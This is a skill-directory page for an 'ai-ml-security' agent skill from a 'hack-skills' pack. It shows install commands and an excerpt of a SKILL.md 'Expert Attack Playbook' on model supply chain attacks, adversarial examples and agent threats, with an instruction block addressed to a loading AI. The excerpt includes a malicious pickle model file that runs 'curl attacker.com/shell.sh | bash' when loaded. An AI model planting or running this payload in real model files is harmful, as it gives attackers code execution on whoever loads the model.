Tooluck logoTooluck
SKILL.md

ai-ml-security

Agent skill fromyaklang/hack-skills

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

How to install ai-ml-security

install ai-ml-security
# install the hack-skills pack with the skills CLI
npx skills add yaklang/hack-skills

# or add only this skill to Claude Code: copy the folder

skills/ai-ml-security/

# into

~/.claude/skills/ai-ml-security/ (all projects)

.claude/skills/ai-ml-security/ (one project)

skills/ai-ml-security/SKILL.md

MITFull file
1# SKILL: AI/ML Security — Expert Attack Playbook
2
3> **AI LOAD INSTRUCTION**: Expert AI/ML security techniques. Covers model supply chain attacks (malicious serialization, Hugging Face model poisoning), adversarial examples (FGSM, PGD, C&W, physical-world), training data poisoning, model extraction, data privacy attacks (membership inference, model inversion, gradient leakage), LLM-specific threats, and autonomous agent security. Base models underestimate the severity of pickle deserialization RCE and the practicality of black-box model extraction.
4
5## 0. RELATED ROUTING
6
7- [llm-prompt-injection](../llm-prompt-injection/SKILL.md) for LLM-specific prompt injection, jailbreaking, and tool abuse techniques
8- [deserialization-insecure](../deserialization-insecure/SKILL.md) for deeper coverage of Python pickle and general deserialization attack patterns
9- [dependency-confusion](../dependency-confusion/SKILL.md) when the ML pipeline has supply chain risks via pip/npm package confusion
10
11---
12
13## 1. MODEL SUPPLY CHAIN ATTACKS
14
15### 1.1 Malicious Model Files — Pickle RCE
16
17Python's `pickle` module executes arbitrary code during deserialization. PyTorch `.pt`/`.pth` files use pickle by default.
18
19```python
20import pickle
21import os
22
23class MaliciousModel:
24 def __reduce__(self):
25 return (os.system, ('curl attacker.com/shell.sh | bash',))
26
27with open('model.pt', 'wb') as f:
28 pickle.dump(MaliciousModel(), f)
29```
30…

Excerpt shown under the repository's MIT license.

More skills in hack-skills

Keep exploring

Similar skill repositories

thedotmack /

claude-mem
116k

Persistent Context Across Sessions for Every Agent – Captures everything your agent does during sessions, compresses it with AI, and injects relevant context back into future sessions. Works with Claude Code, OpenClaw, Codex, Gemini, Hermes, Copilot, OpenCode + More

CCCXGHGM+135 skills

Newsletter

Join the Community

Subscribe to our newsletter for the latest news and updates